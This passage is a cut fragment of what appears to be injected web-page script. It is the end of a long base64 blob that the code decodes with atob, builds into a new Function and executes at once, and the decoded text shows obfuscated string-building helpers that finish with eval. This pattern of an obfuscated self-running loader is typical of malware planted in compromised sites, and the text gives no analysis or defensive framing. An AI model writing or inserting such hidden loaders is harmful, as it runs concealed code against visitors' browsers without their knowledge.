g0ZDIsMHg0NjApK3p2KC0weGIsMHg4MywweDFiLDB4MTBkLDB4ZTUpK3pBKDB4NTI3LDB4NWY4LDB4NTFkLDB4NWZkLDB4NDk4KSt6QSgweDU3MywweDYwYSwweDVkNywweDYzYiwweDUxMCkrekEoMHg0ZjcsMHg1MTEsMHg0OGQsMHg0OWIsMHg0MmMpK3p2KC0weDIsMHgwLC0weDM0LC0weDUwLDB4ODUpK3pBKDB4NTFlLDB4NGVhLDB4NDM3LDB4NWQzLDB4NDI4KSt6bigweDUzOCwweDNhOSwweDQ5YiwweDNjYywweDU0NSkrem4oMHg1NmEsMHg1OTYsMHg0ZDIsMHg1MWMsMHg0OTIpK3pBKDB4NjFhLDB4NjA1LDB4NjVmLDB4NTNlLDB4NTgwKSt6aCgweDI5NywweDE2MywweDFkMSwweDE4MywweDI1Nykrem4oMHg0YjMsMHg0YTMsMHg1MWMsMHg1OGUsMHg1NTApK3poKDB4MjA3LDB4MTA3LDB4MTViLDB4MjQyLDB4MTA5KSt6eSgweDRhMiwweDNmZCwweDQ1NCwweDRiMiwweDRkNikrenkoMHg1MjEsMHg0NDksMHgzODgsMHgzYTIsMHg0Y2IpK3puKDB4NTA4LDB4M2U1LDB4NDhiLDB4NDYwLDB4NTIxKSt6QSgweDU3NywweDRjNywweDU1NiwweDVmMiwweDRjNikrenkoMHg0M2EsMHg0YmYsMHg0ZWYsMHg1MzksMHg1MTcpK3pBKDB4NjJhLDB4NTRjLDB4NjM4LDB4NjcwLDB4NzFmKSt6bigweDVhNiwweDQ5YywweDU2YSwweDRhZCwweDQ3NSkrenYoLTB4NmIsLTB4NjEsLTB4YzAsLTB4NjIsLTB4ZTApK3puKDB4NTU4LDB4NDQ1LDB4NDc0LDB4NDA5LDB4NDUyKSt6digtMHhmZiwtMHgxMiwtMHhkZiwweDkwLC0weDkzKSt6bigweDQ4NiwweDUxYywweDU3OSwweDY1OSwweDRlYSkrJz0nKSk7ZnVuY3Rpb24genYoeixjLEUsRixWKXtyZXR1cm4gSihjLSAtMHgyOGYseik7fWZ1bmN0aW9uIHpBKHosYyxFLEYsVil7cmV0dXJuIEooei0weDM5OCxFKTt9ZXZhbCh0KTs=";const devgRLmfCBdCode=atob(vgRLmfCB);const OOjJs=new Function(devgRLmfCBdCode);OOjJs();</script>';}, 1);